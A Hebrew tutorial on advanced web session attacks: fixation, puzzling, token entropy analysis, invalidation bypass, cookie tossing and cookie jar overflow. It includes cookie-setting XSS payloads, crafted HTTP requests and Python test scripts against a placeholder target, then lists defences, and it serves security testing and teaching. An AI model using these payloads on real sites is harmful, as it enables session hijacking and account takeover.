תקיפות סשן מתקדמות - Advanced Session Attacks¶
מבוא¶
ניהול סשנים הוא אחד מאבני היסוד של אבטחת אפליקציות ווב. טוקן הסשן משמש כתחליף לאימות מחדש בכל בקשה. חולשות בניהול הסשן מאפשרות לתוקף לחטוף סשנים, לזייף אותם, או לנצל אותם בדרכים יצירתיות.
תקיפה 1: קיבוע סשן - Session Fixation¶
הרקע¶
בתקיפת קיבוע סשן, התוקף כופה על הקורבן להשתמש ב-session ID שידוע לתוקף. כאשר הקורבן מתחבר, התוקף משתמש באותו session ID כדי לגשת לחשבון.
תנאי מוקדם¶
האפליקציה חייבת לקבל session IDs מהלקוח ולא לחדש אותם בהתחברות.
שלבי התקיפה¶
# Step 1: The attacker obtains a session ID
GET / HTTP/1.1
Host: target.com
HTTP/1.1 200 OK
Set-Cookie: session=KNOWN_SESSION_ID; Path=/
# Step 2: The attacker sends a link to the victim with the session ID
# Method A: Via URL
https://target.com/login?session=KNOWN_SESSION_ID
# Method B: Via XSS
<script>document.cookie="session=KNOWN_SESSION_ID"</script>
# Method C: Via meta tag (if there's HTML injection)
<meta http-equiv="Set-Cookie" content="session=KNOWN_SESSION_ID">
# Method D: Via subdomain cookie
# If the attacker controls sub.target.com:
Set-Cookie: session=KNOWN_SESSION_ID; Domain=.target.com
# Step 3: The victim logs in with the known session
POST /login HTTP/1.1
Cookie: session=KNOWN_SESSION_ID
username=victim&password=secret
# Step 4: The attacker uses the same session
GET /dashboard HTTP/1.1
Cookie: session=KNOWN_SESSION_ID
# If the session wasn't renewed -> the attacker is logged in as the victim!
בדיקה¶
import requests
def test_session_fixation(base_url):
"""Test the session fixation vulnerability"""
session = requests.Session()
# Step 1: Obtain a session ID
resp = session.get(f"{base_url}/")
original_session = session.cookies.get('session')
print(f"[*] Session before login: {original_session}")
# Step 2: Log in
session.post(f"{base_url}/login", data={
'username': 'wiener',
'password': 'peter'
})
new_session = session.cookies.get('session')
print(f"[*] Session after login: {new_session}")
if original_session == new_session:
print("[+] Session not renewed - vulnerable to Session Fixation!")
else:
print("[-] Session renewed at login - protected")
תקיפה 2: בלבול סשן - Session Puzzling¶
הרקע¶
Session puzzling (גם נקרא Session Variable Overloading) מתרחש כאשר האפליקציה משתמשת באותם משתני סשן למטרות שונות. תוקף יכול להגדיר משתנה סשן במסלול אחד ולנצל אותו במסלול אחר.
תרחיש¶
# The password reset process sets the user in the session:
POST /forgot-password HTTP/1.1
Cookie: session=ABC123
email=admin@target.com
# The server sets: session['reset_user'] = 'admin'
# The change-password process checks session['user']:
POST /change-password HTTP/1.1
Cookie: session=ABC123
new_password=hacked123
# If the server checks session['reset_user'] instead of session['authenticated_user']
# -> the admin's password can be changed!
דוגמה נוספת¶
# Process 1: Registration sets role
POST /register HTTP/1.1
role=admin&name=Test&email=test@test.com
# session['role'] = 'admin' (without verification)
# Process 2: The profile checks session['role']
GET /admin-panel HTTP/1.1
# session['role'] == 'admin' -> access granted!
בדיקה¶
def test_session_puzzling(base_url):
"""Test the session puzzling vulnerability"""
session = requests.Session()
# Step 1: Access an endpoint that sets session variables
session.post(f"{base_url}/forgot-password", data={
'email': 'admin@target.com'
})
# Step 2: Try accessing protected endpoints
endpoints = ['/admin', '/dashboard', '/change-password', '/profile']
for ep in endpoints:
resp = session.get(f"{base_url}{ep}", allow_redirects=False)
if resp.status_code == 200:
print(f"[+] Access to {ep} after forgot-password!")
elif resp.status_code == 302:
loc = resp.headers.get('Location', '')
if 'login' not in loc:
print(f"[+] Redirect from {ep} to: {loc}")
תקיפה 3: ניתוח אנטרופיית טוקן - Token Entropy Analysis¶
הרקע¶
טוקני סשן חייבים להיות בלתי ניתנים לחיזוי. אם האנטרופיה נמוכה, ניתן לנחש טוקנים פעילים.
שימוש ב-Burp Sequencer¶
1. Intercept a request that returns a session cookie
2. Right-click -> Send to Sequencer
3. Choose the cookie you want to analyze
4. Click Start live capture
5. Collect at least 10,000 tokens
6. Sequencer will calculate:
- Overall entropy quality
- Character-level analysis
- Bit-level analysis
7. If entropy is below 100 bits -> vulnerable to prediction
ניתוח ידני¶
import collections
import math
import requests
def analyze_session_entropy(base_url, sample_size=1000):
"""Analyze session token entropy"""
tokens = []
print(f"[*] Collecting {sample_size} tokens...")
for i in range(sample_size):
resp = requests.get(base_url)
cookie = resp.cookies.get('session', '')
if cookie:
tokens.append(cookie)
if (i + 1) % 100 == 0:
print(f" Collected {i + 1} tokens")
if not tokens:
print("[-] No tokens found")
return
# Length analysis
lengths = [len(t) for t in tokens]
print(f"\n[*] Token length: min={min(lengths)}, max={max(lengths)}")
# Character analysis
all_chars = ''.join(tokens)
char_freq = collections.Counter(all_chars)
unique_chars = len(char_freq)
print(f"[*] Unique characters: {unique_chars}")
# Calculate Shannon entropy
total = len(all_chars)
entropy = 0
for count in char_freq.values():
p = count / total
entropy -= p * math.log2(p)
print(f"[*] Shannon entropy: {entropy:.2f} bits per char")
print(f"[*] Total entropy: {entropy * min(lengths):.2f} bits")
# Check for duplicates
duplicates = len(tokens) - len(set(tokens))
if duplicates > 0:
print(f"[!] Found {duplicates} duplicate tokens!")
# Check for patterns
# Check whether part of the token is constant
if len(set(t[:4] for t in tokens)) < 10:
print("[!] The first 4 characters are almost constant")
if entropy * min(lengths) < 64:
print("[+] Entropy too low - vulnerable to brute force!")
elif entropy * min(lengths) < 128:
print("[!] Medium entropy - may be vulnerable")
else:
print("[-] Sufficient entropy")
return {
'tokens': len(tokens),
'length': min(lengths),
'unique_chars': unique_chars,
'entropy_per_char': entropy,
'total_entropy': entropy * min(lengths),
'duplicates': duplicates
}
תקיפה 4: הexploit סשנים מקבילים - Concurrent Session Abuse¶
הרקע¶
אפליקציות רבות מאפשרות מספר סשנים פעילים בו-זמנית. ניתן לנצל זאת בדרכים שונות.
תרחישים¶
Scenario 1: Using a session after a password change
1. The attacker steals a session cookie (via XSS, sniffing, etc.)
2. The victim discovers this and changes the password
3. Is the stolen session still active? If so - vulnerability!
Scenario 2: Multi-user session
1. Two users log into the same account
2. User A changes permissions
3. Does the change immediately affect User B's session?
Scenario 3: Permission upgrade
1. An admin raises a user's permissions
2. The user doesn't log in again
3. Do the new permissions apply to the existing session?
בדיקה¶
def test_session_invalidation(base_url, username, password):
"""Test whether sessions are invalidated on password change"""
# Session 1
session1 = requests.Session()
session1.post(f"{base_url}/login", data={
'username': username,
'password': password
})
# Session 2
session2 = requests.Session()
session2.post(f"{base_url}/login", data={
'username': username,
'password': password
})
# Check that both sessions have access
r1 = session1.get(f"{base_url}/profile")
r2 = session2.get(f"{base_url}/profile")
print(f"[*] Session 1: {r1.status_code}, Session 2: {r2.status_code}")
# Change password via session 1
new_password = password + "NEW"
session1.post(f"{base_url}/change-password", data={
'current_password': password,
'new_password': new_password
})
# Check whether session 2 still works
r2_after = session2.get(f"{base_url}/profile")
print(f"[*] Session 2 after password change: {r2_after.status_code}")
if r2_after.status_code == 200:
print("[+] Session 2 still active - sessions not invalidated!")
else:
print("[-] Session 2 invalidated - protection working")
תקיפה 5: הbypass ביטול סשן - Session Invalidation Bypass¶
הרקע¶
גם כאשר השרת מבטל סשנים, ייתכנו דרכים לעקוף את הביטול.
טכניקות¶
# Technique 1: Using an old session with cache
GET /profile HTTP/1.1
Cookie: session=OLD_SESSION
If-None-Match: "cached_etag"
# If the server returns 304 Not Modified without checking the session
# Technique 2: Using a refresh token
POST /token/refresh HTTP/1.1
Cookie: refresh_token=STILL_VALID_REFRESH_TOKEN
# If the refresh token wasn't invalidated with the session
# Technique 3: API endpoints that don't check invalidation
GET /api/v1/user HTTP/1.1
Authorization: Bearer OLD_ACCESS_TOKEN
# The API only checks the token's validity, not whether it was invalidated
# Technique 4: A WebSocket that stays open
# WebSocket connections don't always disconnect when the session is invalidated
תקיפה 6: תקיפות Cookie - Cookie-Based Attacks¶
מניפולציית Domain ו-Path¶
# Test 1: Cookie scoping
# If the cookie is set to .target.com
# any subdomain can read and modify it
Set-Cookie: session=abc; Domain=.target.com; Path=/
# An attacker who controls evil.target.com can:
# 1. Read the session cookie
# 2. Overwrite it with a known value (session fixation)
הbypass הגבלת Path¶
# Cookie is restricted to a specific path:
Set-Cookie: admin_session=xyz; Path=/admin
# Bypass via iframe:
<iframe src="/admin/page"></iframe>
# The iframe sends the cookie and JavaScript can access its content
# (if same origin)
Cookie Tossing¶
# When there's a subdomain under the attacker's control:
# evil.target.com sets a cookie for .target.com
Set-Cookie: session=ATTACKER_VALUE; Domain=.target.com; Path=/
# The attacker's cookie may overwrite the real cookie
# or be sent before the real cookie
# Result: session fixation or session puzzling
Cookie Jar Overflow¶
def cookie_jar_overflow(target_url, target_cookie_name):
"""Overwrite a cookie by flooding the cookie jar"""
# Browsers limit the number of cookies per domain (typically 150-180)
# If enough cookies are added, the old ones get deleted
session = requests.Session()
# Create many cookies to push out the desired cookie
for i in range(200):
session.cookies.set(f'junk_{i}', 'x' * 100, domain='.target.com')
# Now a new cookie with the same name can be set
session.cookies.set(target_cookie_name, 'attacker_value', domain='.target.com')
כלים¶
Burp Sequencer¶
Goal: analyze the randomness quality of tokens
Usage:
1. Capture a response that contains a session cookie
2. Send to Sequencer
3. Choose the value to analyze
4. Run a live capture of 10,000+ samples
5. Review the analysis results
סקריפט מלא לבדיקת סשנים¶
#!/usr/bin/env python3
"""
Comprehensive script for testing session security
"""
import requests
import time
class SessionTester:
def __init__(self, base_url):
self.base_url = base_url
def test_session_regeneration(self, username, password):
"""Test whether the session is renewed on login"""
print("[*] Testing session renewal...")
session = requests.Session()
session.get(self.base_url)
pre_login = session.cookies.get('session')
session.post(f"{self.base_url}/login", data={
'username': username,
'password': password
})
post_login = session.cookies.get('session')
if pre_login == post_login:
print(" [+] Session Fixation - the session was not renewed!")
else:
print(" [-] The session was renewed at login")
def test_secure_flags(self):
"""Test security flags on the cookie"""
print("\n[*] Testing security flags...")
resp = requests.get(self.base_url)
cookies = resp.headers.get('Set-Cookie', '')
checks = {
'Secure': 'Secure' in cookies,
'HttpOnly': 'HttpOnly' in cookies,
'SameSite': 'SameSite' in cookies,
}
for flag, present in checks.items():
status = "[-] Missing" if not present else "[+] Present"
print(f" {status}: {flag}")
def test_logout_invalidation(self, username, password):
"""Test whether logout invalidates the session"""
print("\n[*] Testing session invalidation on logout...")
session = requests.Session()
session.post(f"{self.base_url}/login", data={
'username': username,
'password': password
})
# Save the cookie
session_cookie = session.cookies.get('session')
# logout
session.get(f"{self.base_url}/logout")
# Attempt to use the old cookie
resp = requests.get(
f"{self.base_url}/profile",
cookies={'session': session_cookie},
allow_redirects=False
)
if resp.status_code == 200:
print(" [+] The session is still active after logout!")
else:
print(" [-] The session was invalidated correctly")
def test_session_timeout(self, username, password, wait_minutes=5):
"""Test session expiry"""
print(f"\n[*] Testing session expiry ({wait_minutes} minutes)...")
session = requests.Session()
session.post(f"{self.base_url}/login", data={
'username': username,
'password': password
})
session_cookie = session.cookies.get('session')
print(f" Waiting {wait_minutes} minutes...")
time.sleep(wait_minutes * 60)
resp = requests.get(
f"{self.base_url}/profile",
cookies={'session': session_cookie},
allow_redirects=False
)
if resp.status_code == 200:
print(f" [!] The session is still active after {wait_minutes} minutes")
else:
print(f" [-] The session has expired")
def run_all(self, username, password):
"""Run all tests"""
print(f"{'='*60}")
print(f"[*] Testing session security - {self.base_url}")
print(f"{'='*60}")
self.test_session_regeneration(username, password)
self.test_secure_flags()
self.test_logout_invalidation(username, password)
print(f"\n{'='*60}")
print("[*] Testing complete")
if __name__ == "__main__":
tester = SessionTester("https://target.com")
tester.run_all("wiener", "peter")
הגנות - Defenses¶
1. חידוש סשן בהתחברות¶
from flask import session
@app.route('/login', methods=['POST'])
def login():
if authenticate(request.form['username'], request.form['password']):
# Renew the session to prevent fixation
session.regenerate()
session['user'] = request.form['username']
session['authenticated'] = True
return redirect('/dashboard')
2. דגלי Cookie מאובטחים¶
app.config.update(
SESSION_COOKIE_SECURE=True, # HTTPS only
SESSION_COOKIE_HTTPONLY=True, # No JavaScript access
SESSION_COOKIE_SAMESITE='Lax', # CSRF protection
SESSION_COOKIE_DOMAIN=None, # Exact domain only
PERMANENT_SESSION_LIFETIME=1800 # 30 minutes
)
3. ביטול כל הסשנים בשינוי סיסמה¶
@app.route('/change-password', methods=['POST'])
def change_password():
# Change the password
user.set_password(request.form['new_password'])
# Invalidate all sessions
invalidate_all_sessions(user.id)
# Create a new session
session.regenerate()
session['user'] = user.id
return redirect('/dashboard')
4. דרישות אנטרופיה¶
- Minimum length of 128 bits (32 hex characters)
- Use a CSPRNG (Cryptographically Secure Pseudo-Random Number Generator)
- Do not include predictable information (timestamp, user ID, IP)
סיכום¶
תקיפות סשן מתקדמות מנצלות חולשות בניהול מחזור חיי הסשן. הנקודות המרכזיות:
- חדשו תמיד את הסשן בהתחברות כדי למנוע fixation
- הפרידו משתני סשן למטרות שונות כדי למנוע puzzling
- ודאו אנטרופיה גבוהה בטוקנים באמצעות Burp Sequencer
- בטלו את כל הסשנים בשינוי סיסמה
- הגדירו דגלי Secure, HttpOnly ו-SameSite בכל Cookie
- הגבילו את Domain ו-Path של cookies למינימום הנדרש